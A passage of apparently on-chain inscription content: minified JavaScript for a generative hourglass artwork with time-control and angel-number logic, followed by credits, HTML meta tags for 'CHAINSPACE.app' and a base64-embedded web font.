ayerHourglass,o,g),renSandTop.draw(layerSandTop,renHourglass.getTopLine(),1-l,!m,p),renSandBottom.draw(layerSandBottom,renHourglass.getBottomLine(),l,m,p),image(layerSandTop,...e[0],(layerSandTop.width-e[0][2])/2,0,e[0][2],e[0][3]),image(layerSandBottom,...e[1],(layerSandBottom.width-e[1][2])/2,0,e[1][2],e[1][3]),image(layerHourglass,0,0)}let u=renHourglass.getSecondTicked();GrainRenderer.applyGrainToMainCanvas(u),renPostProcessing.updateFilter(a,r,h),prevSpeed=a,renPostProcessing.applyToMainCanvas(),currentTime=i}M
,keyPressed=()=>{"+"!=key&&"="!=key||timeController.setFasterSpeed(),"-"==key&&timeController.setSlowerSpeed(),keyCode==LEFT_ARROW&&timeController.jumpBackward(),keyCode==RIGHT_ARROW&&timeController.jumpForward(),keyCode==ESCAPE&&timeController.resumeLive()," "==key&&timeController.togglePause(),"T"!=key&&"t"!=key||(showMode=(showMode+1)%3),"S"!=key&&"s"!=key||saveCanvasAtCurrentTime()},saveCanvasAtCurrentTime=()=>{let e=60*new Date(currentTime).getTimezoneOffset()*1e3,t=new Date(currentTime-e).toISOString().slice(M
0,-1);save(t+".png")};const EvolvePeriod={HOURLY:"HOURLY",DAILY:"DAILY",MONTHLY:"MONTHLY"},AngelNumber=[["11/111/1111",["1:1","1:11","11:1","11:11"],["1/1","11/1","1/11","11/11"]],["22/222/2222",["2:2","2:22","22:2","22:22"],["2/2","22/2"]],["33/333/3333",["3:3","3:33"],["3/3"]],["44/444/4444",["4:4","4:44"],["4/4"]],["55/555/555",["5:5","5:55"],["5/5"]],["66/666/6666",["6:6"],["6/6"]],["77/777/7777",["7:7"],["7/7"]],["88/888/8888",["8:8"],["8/8"]],["99/999/9999",["9:9"],["9/9"]],["1212",["12:12"],["12/12"]],["399/M
339",["3:39"],["3/3","9/3","3/9","9/9"]],["83/8833",["8:3"],["8/3","3/8"]],["72/7722",["7:2"],["7/2","2/7"]],["633/6363",["6:3","6:33"],["6/3","3/6"]],["588",["5:8","8:58"],["8/5","5/8","8/8"]],["446/4646",["4:6","4:46"],["4/4","6/4","4/6"]],["000",[],[]],["1010",["10:10"],["10/10"]],["1017",["10:17","17:10"],["17/10"]],["1022",["10:22","22:10"],["22/10"]],["1313",["13:13"],["1/3","3/1"]],["1444",["14:44"],["4/1","1/4","4/4"]],["2020",["20:20"],["2/2"]]],BlissLimit=[["Forever",-1,3],["2",2,40],["5",5,30],["10",10,2M
0],["20",20,7]];class TimeController{constructor(e){this.speeds=[-3600,-60,-10,-3,1,3,10,60,3600],this.defaultSpeedLevel=4,this.evolvePeriod=e.evolvePeriod,this.angelNumber=e.angelNumber,this.blissLimit=e.blissLimit,this.timestamp=Date.now(),this.prevRealTimestamp=this.timestamp,this.paused=!1,this.speedLevel=this.defaultSpeedLevel;let t=new Date(this.timestamp);this.iteration=this.getIteration(t),this.prevBliss=this.getPrevBliss(t,1),this.iterationChangeHandlers=[]}getCurrentIteration=()=>this.iteration;getIteratiM
on(e){let t,i=e.getTime()-60*e.getTimezoneOffset()*1e3;return this.evolvePeriod==EvolvePeriod.HOURLY?t=floor(i/36e5):this.evolvePeriod==EvolvePeriod.DAILY?t=floor(i/864e5):this.evolvePeriod==EvolvePeriod.MONTHLY&&(t=12*(e.getFullYear()-1970)+e.getMonth()),t}registerIterationChangeEvent(e){this.iterationChangeHandlers.push(e)}unregisterIterationChangeEvent(e){this.iterationChangeHandlers=this.iterationChangeHandlers.filter((t=>t!=e))}step(){let e=Date.now(),t=e-this.prevRealTimestamp,i=this.speeds[this.speedLevel],sM
=this.paused?0:i;this.timestamp+=t*s,this.timestamp=this.limitTimestamp(this.timestamp);let a=new Date(this.timestamp),r=this.getStateFromTime(a);this.updateIteration(a),this.prevRealTimestamp=e;let h=this.timestamp==e;return{time:a,state:r,speed:i,paused:this.paused,isLive:h,realDelta:t}}updateIteration(e){let t=this.getIteration(e);t!=this.iteration&&(this.iterationChangeHandlers.forEach((e=>e(t))),this.iteration=t)}getStateFromTime(e){let t,i,s=e.getHours(),a=e.getMinutes(),r=e.getDate(),h=e.getMonth()+1;if("000M
"==this.angelNumber)i=0==s&&0==a,t=i&&1==r&&1==h;else{let e=`${s}:${a}`,n=`${h}/${r}`,o=AngelNumber.filter((e=>e[0]==this.angelNumber))[0];i=o[1].includes(e),t=o[2].includes(n)}return i&&t?4:t?3:i?2:1}limitTimestamp(e){let t=BlissLimit.filter((e=>e[0]==this.blissLimit))[0][1],i=Date.now(),s=this.getPrevBliss(new Date,t);return e>i?(e=i,this.resetSpeed()):e<s&&(e=s,this.resetSpeed()),e}getPrevBliss(e,t){if(-1==t)return 0;let i=e.getTime()-e.getMilliseconds()-1e3*e.getSeconds();for(;t>0;){i-=6e4;let e=this.getStateFrM
omTime(new Date(i));2!=e&&4!=e||(t-=1)}return i}getNextBliss(e,t){if(-1==t)return Date.now();let i=e.getTime()-e.getMilliseconds()-1e3*e.getSeconds();for(;t>0;){i+=6e4;let e=this.getStateFromTime(new Date(i));2!=e&&4!=e||(t-=1)}return i}togglePause(){this.paused=!this.paused}setFasterSpeed(){this.speedLevel=min(this.speedLevel+1,this.speeds.length-1),this.paused=!1}setSlowerSpeed(){this.speedLevel=max(this.speedLevel-1,0),this.paused=!1}jumpForward(){let e=new Date(this.timestamp);this.timestamp=this.getNextBliss(eM
,1),this.timestamp=this.limitTimestamp(this.timestamp),this.resetSpeed()}jumpBackward(){let e=new Date(this.timestamp);this.timestamp=this.getPrevBliss(e,1),this.timestamp=this.limitTimestamp(this.timestamp),this.resetSpeed()}resetSpeed(){this.speedLevel=this.defaultSpeedLevel,this.paused=!1}resumeLive(){this.timestamp=Date.now(),this.resetSpeed()}}
((((((((((((((((((((((((((((((((((((((((((((((((((
text/plain;charset=utf-8
text/html;charset=utf-8
a hyperportal inscribed on-chain
enter at your own risk
Conjured by el_ranye x @timshelxyz
  * Mathcastles Studios (0x113d & xaltgeist)
  * Aleksandr Kubarskii
  <meta charset="utf-8">
  <meta name="viewport" content="width=device-width,user-scalable=no,initial-scale=1,maximum-scale=1,minimum-scale=1">
  <meta http-equiv="X-UA-Compatible" content="ie=edge">
  <title>CHAINSPACE.app</title>
  font-family: 'Noto Mathcastles Remix';
  src: url(data:application/font-woff2;charset=utf-8;base64,d09GMgABAAAAAJY4AAwAAAABYBwAAJXZAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP0ZGVE0cBmA/UGZFZIO8TACQAgqBynyBnT4LghoAATYCJAOEMAQgBZQvB4oQW3BHcUN0w7TOCb9uMgCga1ObW1XngGzuMLNymwimLXm9MziajbB6ouj6z/7//zMS5IihCbUHPL62blsMYUKlkUZmlNDpaXjV6pqVpwAArLeqootw8/KeDNDKuPtGH63RZN7KPFPoRuUolWpLS8u0KitVFYiqXgarref8hssLDW1Lad9g27ZHnXPM/cOs0nQ0wlrYZq5lraVVmi7vVjaqsnO1TrU9ygjttFah0jm2Slya1m952tITLT2Guu499uN/BBcBMQJeaw67OgVxOyG89jGGw2a0CH85JglM
BJ4fUc+vPS/kNUhkhXuSA64B9d/T/xsRnCLzJIrBxGSNZOXktItuq3jvwDg849NRDD7K8wpHuFDMqKBgJISpmTOnAkBDBkB9RMSSSEQPBDIZ0GEhixpDBfDsIk3suWVFLNAEM/r/1+8cWBKqgckgg4Sb8Ci/a7bSKDEZiPnL3qL/9A83pv4OLGLwkL8kRQ6KQC1qoUIMqUnEmon/dvqjVJlpZ6Tqh4pgVCsETSBDRNvb8O63/X1vaArLL9rKtJApQY/r0MF9i+JqLSO8NADSEOmBgkS1LQ+9U/27ju2Z40hkKA1uO7fI47ZgFhUE8IIx/rb0/SWdoWWg7dsKGhNe81mlZst7ng/8v1d7u/P/4BcoeVd2ApaJKoWUQKolUuaJsa9ONbRBtkq6PZJwfjuMQIIgGGt0YoLl164AFG1sDY7CNjShZwYIaI6IMqqRKG5QwCp8yCgtfzLcSFXx9I/LDfzhVdZ3ZlOaEJyEAPO/vB3ouPPhABSCSTRWCrtOLn11mAf0sHeqM
sZiw7yc5orHvgCqH6Drgnywo8xFkgkv47qX1ArpDa3T1c06uw1e8KePnAgPz0q6SUDIBcSVbvlRhwhqBmScjynzr91/bDTLfrMpcpgCCOTALbAZ5nbsGcC2r4iPGl0jy4kEH//X56m7lNXlI64S0I+Z2tETWCHKDRrXB1CgA+YJc4jCCmUO/TVGSAQxjwRC8C/n9fVdd3P0Dpf9LlU25QJrsjrc6gJJdWhynp770PGO+9T1gfn9TR/6AKCDeQdAFI6RiCdHwISYwJSvYh5dL6lvQPUseBmEbSjaQbpbTet8gptU3ecjyl1mHO5DGlD1O2LcuYaS1NmexhSQGDbrrZTj2W8EUDDIwDpPh//APVe5o06WMsWq35Vqlg48uA574Z72iutDcLR9nkvkjua9zE7RlZ47Kb25sHRFcgOeWUcxUK0EhQta1VFd6UqFo1Oyk2qIlovkd+8owEiRSs5PnuUUiEVliEUQiNtJ9RCGeQOCROQzQ80By6EJ49DHA4+7L1mu4IV9tM
9M8b7DqWaFeFdldIzv307+/UNld8HUyYwjhHgBLRmyBzKzgAhjTmMXY4cYhJQkGTm4d0F1PYjeFsgWG1R1FoLNDA9xLN/11L/A78VskrWumTyD2bn2GXzKgk1syQja+tl/djvx9cZYBClMjHJFAUBvft6fS8E2JxegnYPJ4UIkYStm6Ht/hX+rZjLq3x2hmByq6ifoNljbLbo0hU80cqJ7DdzOiUFIJUNFCjBc/C0luw2EADVoP6Hn/m3pwFfu1lY+42f2MgEIfeNctADuNXepXQ0SRSDijxwt9vriYV6Qo4TagABclw/JnrfzdebhmDJ/hdeZf8hEDq67oB2/aUZcHJfA2AJAgEAaOIj5qYDkILAEQcZADviYAZMeZTvxKRYrynpyXhuFwQh1gC4AJwf0BROU8gCl75W83NQI/sbxKvB1AY6n/WDu3iIV0OMMcmlvBxyrtss4/dQ1mwdWupy+DCaYc31N8NDPB2uo95mc314aK67S/3fU96hZQSyq2rHmOwit1hM
MdWRMtl2zY6o0xEL73O8078Zi6s2J2Te7jxfj4FTxa1xPtoxP41HCx3OQcWeOy3g3J3/+SNYxRRFjuf2fJyQ/0+2fKoB/NMXg92ldNJltE8fTcRdYw/2CwjLUzRjPTKaumYV0Fry2iBdZLxf5rOgFxUJLGCrRoaS3JbeVurW0rtJFZf4q+1k5u8vrLT+5gugKU5tbunkgH/L3syCEnsDhOCM0gc+S0YMd7qVV5pmxNMIS+SnDPDLWRPSANo2I7I6UacGQte7h8dlWntk2lT1UXEaGXWhRieNtOaeyiJ64l5YRmklZDJ46WZq/Vy2QX7GgFyl0BXs+hvhkhpwPWQSiR0m+Jo2N/M5L03iGruvnKMKih/Cf/jg2zxPyQbjvNEWzCEu/uAlKompc5TEYkwb9FenoS2kCeRM21nBlXkWbyhgoCdlucfCNjnWuLLAcvm80AIgWOp/IdrIjsl3KCaeupoc0lkeWQieh0eiIw5qO7BMlyTeyLwqPOIKz0LgwslR9iEjT/JCM
cxJhbcDkzg3l/UZnXlTSiMF+v01aWmSnLT/FpxWZem18mpRWH8NpW6tvow4Yo2CrsaDXrQd4VrQGomw3Y0PVvevkwBz3q4GtSSOQ/XepmXALewYGviNMEDh+9z9PmvMYusw9g+pyhgQv21vFHQiAPoglnG1QsCbCseUjDnmpOv/YRCmpvkZJQRlK4cm09kru60OvLPJEDw0eAEj6sBdg4Y6npZ7Us43sgr6Hzhfj0F5S3Y+UN3kojCChLJOr7mETUzZVPBTFDKzfIde4TMX0zr88WHvsV++TWEddITiOLzk18eBGWAcnAiM0YiEIituibXV4ACGBMA67xMjcpswyy9XWpovZ6eOguJ1XEh/1AcWlkZpcaWcq+lP3FYCkyF5ZhqDTtz8rREBWY8Tx+oGlWyj+5OwfxpUE3cJ+HOw+B2ToGcoiG0jQzOmzmO3+VuF9WBrvJBcjcwa8aHGU1KQDyOzDba2oWa6w8M40ourbtt1R9jH9XfymlEE7a5EdTqoZsbqRtIHfM
rQRZ5H+FmXANw/4hX/wN58yRm/S+3wB/5VKTgOPMB6ZWYGnlLbDajRV4n7jy6W+UfmCpVbJjijAPuPCU1oeYsnC/8x6m40J4ZR4v3YiiqH7gT8jUwdloXCj/jrrpoTumPvPYj6rrL9J9wMWOmnXEkAapcVSsChC5+LuLv6jOGqV48bE4+Xbhq32t+w8plGvvPkXOZfh9eXWT0Iob/JAbrdsjdo3/NFLzjKgH5yJ7O4ME4SPbo3zOVkrfjw5Z1ID/TfUHqKyP0tqizFEWzBiuL3jy7U7prDrcXQU0p5s27uM6TGpzFM0ocJHrqgPkx5R9XWuZiTKHOJTq+T852Fhy6zPL7WZ+K7igrcE1yTOJct26INKPo9GuAC1C/QXSneR/fP/L0U+6rpMH7rbhTakZsN42qaFCHLeZB4A6wuyw/vSuNfyuUn5OdM7RaSdlxlLCV9K8pQYbPILy3QQj+toGBrvb1b+LTG3YqaaWK+2uEwSHMfHKngdZpabMDTami8/J8xNOn3HWM
GopJ3b9ww5spqBs/pQq+b5n9ppxq5d3rz8Qr7oCwxltNZ68beybc/+T2Xf4N5d6/3lqC5kp5V2sVrOUBmv/GaRUTq0anReh75FifP2FaoJIMvvC/4SqZjqIc73EnrHYXNwd/MFMkTy59g8VD25LVE0cHq0QN/ozdO/mh7uLezhTdak4G8XhCSH2/4kNGPXitwQQRaLBFEZKUP+mak0vu7+OwKOdvVNtE2it44r1ejwxibPvCCXuifVIRX4u6K7QUtEDFiEWPUD6bP+xskO5f4iAbfWY/WGI7JjXJBj/KZSO+OWbgDBuaA1DEt8bHG3S6hDc/eBkd4IkLxFN8ya3Q7DMp61QXoDZ4QJKaUJtWrymr9n3qIQ4XORgr1pMmr0MJ7LcIx3hVySw4BqpkhbWB1+Hh5PdQxMch+x1/yZlSkjiyPpkX+oyDC0DxCm5O5CPcxMnER71i8v3ptTDT4oAWdgxqGVLpDdsNWNpELTJG75FIhYOmF90lluVYagHqZA5N7koTu9+BM
FFOUM5L+kU7zUk4VS4SZXFo5yKUGupCwPKi/Bg6ml2ks43diA4uvWe9jjuvXQQ+HE0vUPQf4Ir5TwaD7C/iVxWEBmUzX/YRFsbQCpyWdFCu61bf3Sea47UWHvtACwg+XfOP+uw72Y4Rr2jmW97rl6af+vbKLghnzVAP6Hx/WXYeiWk/3t9pp35pKsbK3m4Xt9FbB2QLHQhWvOVKhayfy2oktdRHHj27hk8FWcFnyXAC4rhe/h5F2Lz6FUOoXi9uItKdUqRxNVDxhgUGoFbBuls+QNrMbpQm9Hs+7mIXRH/Sblo4pQInQQycw0UefHFYoPC6uzLf72SbnZjBOxzvR4pmkQQOWGLLIaKgkgDUgeH7D6jQnU0FiDbABbFEim5ugOmVvaprEZlNE5IOkxXtagUoUbslTWEKAhV3w3JwAFUXDz5Z0U9jL+69VS/DInbYVgag7HsBVJ4G8LU4DDZK2MfA/m8Yh1XPzSFHHRjjBhEkngRhuloWs+NNGEPIKnGTS5cLGZCyuM
63WkxbpikWXewkCo96eNBXZOBisLFhDPYPSuF+7ZXBEvYU6FCf6HwwvL/ekrG+terLGMUumTyg+Ty6ZI0x7VyinNYIVK2JCUuW77ZTcoehc667K4GLbWOwEBn1pz05yVAjDSzZMq23X6lytV46LlP/RmnrwNz9rml4F8ImVKbc1LZvUU0qt/iOhzC/H+5C/uFY/61RIsKvYYj/5mjeEB4Ag4owiLCIuIMZeYk7jMsrsMOzElukwN6nVCh12G5WQ6Eh8C1uBbVWl5tebXl1SUuN0lMWFToaPQTHiLhOnhKAh9bHBEE2xeMAADZOSruRgmRYLI5lsqx00EnlLtOq9mHfo3jGOnKjoq7UUIkmGye5dbLc9gpF91W57Vv8RMY6Myak/68BIiRZpZM2bbbr1S5Gg8996k/E+rrwJw9Nx58REjJc0Ppc/MRMC9wzUgmShW6FpGDVOOcWus6XPcUS2mTQL9tipGXhGuL+89hUuJoKw9EYkXlrRhHRuQg1Tin1poBRRcAfhMM
cuEQwrgJwzpzgvkyUKnQtIgepxjmodR+uZJqdxU2g3zbFyEvCNeH+87ZYNMuBYETkEOBAKwNrsRZrsRZrkdbiXC3vanlXy7tyoJUocdlFxQX8JjhwiWBcArh3MhFUDoyIHKQa56DWDJZgJAd+Exy4RBCbGAmefMfe6Wc4f9HGmynDGlvsVeSca+6p98b32Lj2OrHiqJ/h/EUbb6YMa22zT4kLqtV65mO/J9BjwkxPvQ01Vrhk0yy0yia7HVPminsava1tQmLIVHeuBhkpWLxJ5mbU+LLKwHC/Csf0tbUymkwqPXgbxaQ+ut4gJajhVjHXbbyVRaj2MLi8R9gs0B+bYtHlFme3CBDA0SApt4JcHBqQcuQXo619L1B0AeAPwYHLBOM0gHOROeEkfb1jCZxTTuTmYarrKjLNzuLmPvpjUyy6bHF2fmXEbOECrhMOBAdaGViLtViLtViLtBbnyoHrhOVdOdBKNLhs5cJBf2yKRZdbnJ1n/B04CV13gHfKhQOtoMppCEYM
qZw76Y1Msupxwdg+v+k/xtQ2JHnJggxzdlKh88HLHxsLgBSwW3e4rDzQpX2wW7DH1N7mwwdof4BXfLbxQ/5gR3Dr2Phpc7CMC+jAfPXt37Qo5FN2evHQOTF6D48NCCBMzQKyPZEJ38Ei2q1hPwtnBEPCHKJgEi65T//O4hiz/quhseYZ7zrCC0siPdSczCx2pu979TkWmoVKE1L3DoiZpvr8Ro6cYx6OuwEcXFoYmmfc7EvktbuIPoxbirihaFFkzGgybGoGXZrZMG+QpcvZcde553tcRx4QlpT5GCDfOXKtttMvhljV5MjY9QJGfHdTXFm9fRD2dThj+AOGx+6TvwqMf3HR+j58Vel1HvG0R183phBEPFBbeO30THvvAbeimINNBnO8ZnK/K3rtawhe28KD9RQzFbmlYbL+JlXxc/gGycUUYB97DCrch0feuEtNw/E5P/d1RS+1DB7xC3STcn0YwgVMHl2uwd6+R4lUWHe79HLVOsCkE33eKyuKPyH8Qz9204n9M
PibGw5K7h4HtmKZODHoTuD+82xCDLLIx+GIfvJ9C7isjc8L5dwx74nN77ecTdUtjrWuzNaxd03OLDnZ98rxWr6CkKDg+vrHApxSGhVqH5R+ATnlx+/9JsQWkzUINBWNcnvWaCHAYhAEgejlOkqaBdH2D1z+mUM9sKrFzaHKVh59D0XU9VzepTILEfBzRYp5N90r8aBrFiwI5d0UJEQCEoJH54IeyydHQkhpzEB9KLcxKxrlW7xCB7fY83nRBu6Ru5c51jnf8V0Qn3tuBBsi/MZTFk7XaE7McE82PZ9Fesx91L5gQaPHnqgfcb34rxuEJjLli3F3OSKHEvRiTKYTDaW8fOr3DBBbr4FRfuXoSKkqCGzuwzKuzhIi5/4LC4rd9hGtzle/0ZbkcnlGdNZrb3rEafIyY498jzOpZpYMQ0FxwxfV/L1D/yNC2REZP2K5Fv4UYmiUFTqg91V53pItQWzqJge6GbMYb3/6xIxJSXlhnbkX9A0yIaRmpEFetFe5oc2W7qIopM
Jz8xFiq8HQD2EzKT7K9XSFtqF7l+/32vB663EQTAPLR2TxBK1+aH76NRT2N3Qr8JwqatTlAlj40QemSU0lkghya4Dc/R1UHpl8bm35/H30/XiOtjODkNcgfET6ODLSjiGG70AIJp8AMcbFGglQrbI/tIw58pKS9ybeFHx3nIVLGMAWE7kbsH0Y2yR08tu75J6gv0aVDxD/fZfqd7tAuZHai5hxrgHK39x9Fs00U6IX7sq89utB48GiQf3I20iHIZ2xI6g37re/gj6hSGLtpRUboWV93F2pUHcDm6VmlqcfUhR4J9SCmWOud2/h3flAwWG7tTM+nk8OucirolOFqo7Dhg7+cxRxu5SR7wQNxk3rKRIugUt68FGYSVvurTUUg/yerrirU0lNMxGsinGAV4r1uySZcqVr4hSemE/qhMkkWmgDUv2wc5GySXUfZMf2py0wF7Ekkwzdtsby802M1yZakP9Fz3+buj+RbGDnSe68sjRxU/PdM4GpOpylBNOGyTk8OoDNdwM
7J/cLHU+S8LvWaiotnm6F7OCVOowCOz586MRVLYXEkQANv3LUoxBz6ha6W2VH1O52Wu64FyG/J1e4LjL8TzWus+lgfXtpidfWsHSe6iA7N5uMi0Q39m8mR3Ouz/bVk/CX7eHxhv33L8URrrsR5JsfZZGH8jlrga1F1LZNG5WGe5HNZS5vIwiCMqxlWguAbDWD6eP2jvOKqbO0IC9QKbBQVAuj2eSVARy23oS67j5OUz5tCFQ6HdlQNzrXYMTmAVZiP5UMrcJNTBnWbQdLN3aNqo3tIqNuy/0OfEBlKoPO76+wmLnnYB/jV4a++ci1Ax/h4sBDDuk5OMDkjTF7njOOhuThmP573Rekrfbe05T+9eF3x8cMr+Qh1n32TrjUQXVWId8GOx6z5WF9w7Z8lVd1bFmWyiUN1aYwzMuy/AIXXYTX+1OMbt990411NN1R22KUfDw7GyD0EUTBC5rgE35eKw5+ZmEtIV3uxod/rv4vSV+E5Ge5shjxvPuEQVjQZRBqIqODuhzM
E6fByYc4GiRuzCYMxnSImUaedECGMjpcE+opMDOfS3aGSXabOFFrtZbSqDtkuyGsDb7WjbrefnbNkeLimmaBv3MMCySsDL4STQaNQNMdiyHXh+wXGxRKbQ2x1QGRgRKfdCNwyOlqhe05gcL1NVvQr2WjFY7dl5twRNjvBGBjREWsELsBYlUWGcNB3feYe33evyC7u4UEW122gD0zodDiS06sPO9v3s23Pn6nL4cx4WIzTGNBCiu3OMtqboWf2YHPLbxLzguLx/sqKfkVjn9YD+9GAAxwOk+Joc/Zja+sv4qaIxZypVIf2g6mhzAnQ8/0jBvEHmdfLgPJnQ4ZSGaQKB6NSCJsIw5H6IEJ5KPVcG+nKj60s5Y8bgy74vitL1cwssZsddRO9APQdfHQ+MnSrPKPx0xL8h/AVcYd0bQmfnZ/kouJdlKAXr+wCPj4XFblm1X8XvoQbc+HT8Vy82JBSP1/imnYTPjGvj12EKJ5R4y8QJEJCXMvmJMcTmlLJ/VFYC7BjfahM
KQ15P8rh1K3cF6nbfy3wsdOFP6mo6U/yj0CpOqS0HnkumWqItZRe1mH+zcYbkP5fpYQDZeJ1711JLJsV5H22ikn3UviPPgCd3Fua4eOAu4746/V0yJOH+xATgLlKOB+MvgXZ6afQSdWc+K/W92y78wq036Sk/7e0Y8RaxXW3HjGf5DcRvwDV58q7gUsEdmCiQgHeN3cC9jVevjBc2L/PoVq5lfA7cIdX2EKhXd4WmoytRW5P3J+JLcfMxTWOzipr7qvUkHS/99L0trd7YOpbqOYOlA+vRq/NSrqj591cbe6Yq5amh37mF078aKAlb27Hr0O3UbexT4pCeE6JXPaRXiRz/IKYf+99w75G04wnmak6pZQVkEqxFxk4DeZt8L+nJwTbhhF8IAQCdAdgAcAGQGq5xJw+JRefKQ+QVZmNxwcNF1mUsojn4FurXyyTSz+1AqbAQvw6zYxxB7kRZXlSWQeN8gGeu8s7yea8ISuF2Mh2wmzuMOOEqfQumrEwWNmGNwzvgKtZM
M8nsPprRYgCebEbY739M3CVd1xphlh3Pq6Y6FM8x42Yo96NcEckOkWafInb5O2JGbSBp7XOnd9AyohMpot8PzTAK9cr+/iJFDIoWDZZNQYw/djhXPs//vT+ltv12Yk/yssYRxNk1KUkMpG7/ZG/fwNa8kTJJsvOhZ38dfkNzzKJdVSWrhzS5nNGvPs//7p/S134kXymmfPpYimUBKEiMZG7+lI8Zcvz+P3PC9rRAu+LFrESkSy/AcW6gO6WakVrypEldISF3SE1Rq0rbaoJsImqSGySolzAE97ffFN9wD93i5hlLXoPhpd3fUxC28pE3pAIbDqHrxtam3JoFJZF9xE+/S5HR0mJaQ1Q+ngTQvPq9sWOLMWI5IwKZdYO05dvc5L0UM4xSe+qyr4lE8XVGVg1+qnmqL21w75Sw4wQBXR+hZJQlIAtKp+Kcv3StlnZKTR4mi+dV8E2NPqYVt6lfFgzaiQlOEsp9NmeA8jID9bHc/pbB+DQVmgQmEw26ZE5gSxdZPGFUM
yUEtDNongJNvGQeKzbkYuc8d9uwLP6CNiM9p4+tO1Tt/sP4AZ4uuHLopTSPncZJEIQbKt1wvx0m4ZTodujbAvUq+gArX1EYuuZ6ygxFEA58IK4WBjWhCjkQipx/VmJf0nfJbSYdroVvuP8Xtcuhmk4VBSv9CdMfZxPjxpM0bskNJ1aX8R/SI1L0YRMMXnqtSR9/eQyCEFVgWpOJg8IHxoU6NuwARRP4+aiuq0veMHZCiXG4wmSBhJgtVGbFFiv8idVR06bq11T+XTg8oS84ItGwTZ1t4pJF+IZhKkBWk3SBrUbH9H09HkYuWj9TUWfVFQksX1wnz7Drry5ncL9VtFSsxTlfMl4U4LPqI+voKFVtrhdvvTSf38gg3CoGtOPG9pBnwVOk92TwIed1UDvg3ekz3t8107FmsDwLWwcbEz8nYevfJjJfwBD6wA8s/dZ7Z3pT/7//XUovrH48QcwKXX8vEOUkg+MQsybONixHP4afSkmxWcJ1qxZf/fxYidTsuys5x0ALdM
lx+qxP/SUuN9XBms0qpsa7mIFS0IEnE/uKVwYUE3tCCXHramSTbIH6Rh49XcLdYz7yhWsPNM3WaFgLUQH7jI+7bf4eUZVi6/ojB4GINHMzVT/Jmce+r+WuEbUHoObcxhX3p/7FisIxgauTvwyzk9htCOUdOVfw31HylczC8gqLnEO3AmcghmSD9P1FL3W7SS1n+Gsw52JIOrvc+J+haH0KZh1eKbhdWOjluY0vGTyKmlZ5VM5ThTTUDlmyaVQZMosVPaUOJXoS2NWC9YR1BeamDmTlzkvY7KTLLN8EeQQO6SbWKq7NRYYaFWkSaaCi2KDoUoodsI8FkuaRpNZvyBuEjtDNC2DHplHMXqIzUhm6E/xhFfGcIPXPIbqGTcmN8KNdnlH3vmH5LqM7m/3yw0zgxpTIUQ3aUUfV4oDzRafKJ4Uo2K0SNCmu89XIIVCzipcWvHY1XGmrNNIUVBZFlJqHksHTllqsBzdZlWD5RkmF5KkkVQx3MrciNbkjchRRifNS7w3cj5M
neFpL/PyG0wm9g6GNp19nOYY+VsYdobwvSu5j8j95SjU6TqhFx5aJjKka/5BEqUaoF2VVfDoTg3XKagK9T6WMjRPYp8oUWloL2ZmhFMkMK3aTfDJhPYM3lZWrUzjT8sB6hlJqFvYyNEeLffnQPtsZEGtlR9CF+0luEt1lqgUN9s9jfalMVFE9obcg5tGeW7sctU6KhPIL8PNOQH1RtVm1oVWlIXWPBzYHtZHtUDLWeyM6JVxdmJAm9FqWb2zwVKNlHVnoGZHpqUaoZzVGpjOVWGaVbktZKDkPcfhOeDGcxM3yqSkaYblncwY7kVXTjsq6KENj5Cb52gcsc1gzWXeE8jHkLm86x3OFqVqVmErmyqxEZJArJyOe2uK5wtA6SQ90Tkuh5qlBbBbJTDsYcqzRMscew/IgmIjW9sDhxJtoznIOkrw4KugnfY672IsDXN5fnMgXRqzlcKd6ZS1HPSon+doulxOs9MoJ2zNUJ3ZmZ4rzbY53hPJt5OpLLAiQX8VZ0SR/EbcM
UC+S7aGySE2jor4TlGLHsrGBSTSAT8FxnUpuaMazLfOJiOt+5E0ROVWg2HVhLYPeMiCOTtjslxWQTEbbe5S7PFEIli2hZnCn0lCkxRKelVIzy0Dv7IcbFbMwQFpPRxWFrOC3/XdzTOlH+NOr3RH5z19Y+L3E7Sbmv80ilraWKU4WhlpQ4MDlR6Gmx4kEDx2fjKscVTBpzGb01VkxonjCk3mAhIcuKy4oLc1PzGRZWKp4hGy6XTbAnVeiao0u/xJuMS01bsiOxVK458pNvYs81ueHxZWDL0sh3FJ2sQUT05FHPX8N6hoAfVHBB5BQYAVkzWBnFppiN5jGOx7H/PLMwneLq/cgS8qwWF7lmcZnil2c5fPZudDJnt7s/xjenjqaESa2e56SzXOIv17ycEc9qjb9f8ciYNw9+P+yEMhNvQOJ6i3L9IaFms6Kg7HsNLO6QE7joLU1VZvKWGOFg3laPCt6f/65w6qdoF6mJq5y1Y6tgrYBdGApl04BKLmRJ8HhKa6gslNUM
ZMnOEh4tOYPEw4tpByZHGZKliMbyOSzKoI2XN4CwjDevofEoalsw00pcIRksmO0Jo4mOlLaVfYkPC06RgW8EmV0psGqg4loaqY5vSNllRIFVFyKWyLJssFWiKEHK5LqsleDZsWbZYU2BrUpXPbHGaMUzHOS7Hjmb0o5TjyxueZSRZrS4K4myc46e++xEnk3F2mtEN2zF+HsaPPXcj3j3dd5sK/MysbOawM0XOGRsFvMKoO0J8Ft1kqcCQqpCeKX2gXqqZbKrYri/X5OM7JBWYmq7KW5dYV2HpUpGwWVPRLOuSc4dZbW6TVudq9GoyckiNImOSuiiY51XKKf3iEMVdyNXWZc9JOM/RTTybESanKb7uxSh1VtAfDynuR4zG3ezpnEk6lehSZ3PiWS4RMYsCIhNVPpxCZOYEK9U7+fQBKxlkrMw7QnwCeXSBCkc3JOsqbF0VsmSwIbHMDXCjgs3FkiWXq2xoKNuGZFODYyiKdA2dTCMj5UkVkEpG4knnqRQaqQpMXSqM
yakPKuoOGu70sJ/fJUfpoKbI1Kjtro4TQsLoj7ox5OCMrzll8euyZ/aJijJI+Hl1IurRV4yp0nD1aivP0eTM977roIyaT20wvm+hJnkQ7ur51MVMe1swoY3ET8TK5ihSDZv5rZZNuChRIVygLzANcNaBtCkhRYsWCWhWCc4Vcr2pkZuSSQllEjGqc2kTlqjs3mNpVjZkVM8eF2sc8GW/psq/KA+kX2NMSxUWq+XCZfG5RxHWmyOtz5H5k7TB7LFNooTKzMoeWqlk+cwQxNxIrGYyJTHLd4foUD7cp5zuCLmlrDPGVZbR3iIMK6k2PqPHmh2i+Rp+gvV3t1M6B/4rnyciO6ZQByAaZCXlUipLvqlJIkDEnpVQs1l1e2uG127DyEcuV27fgwj033yUHW3KywuN1tO5I6xjtkMaKAw1CmiWopkJSCy1Dz4TcdaUZyfDhUiuDyIxFRmE+kBf+nD3zz2TYwM7t1RrXGNsX6wtSn8iVlKaEUtAbmo5FRg6dFlyUXEFSyPJM
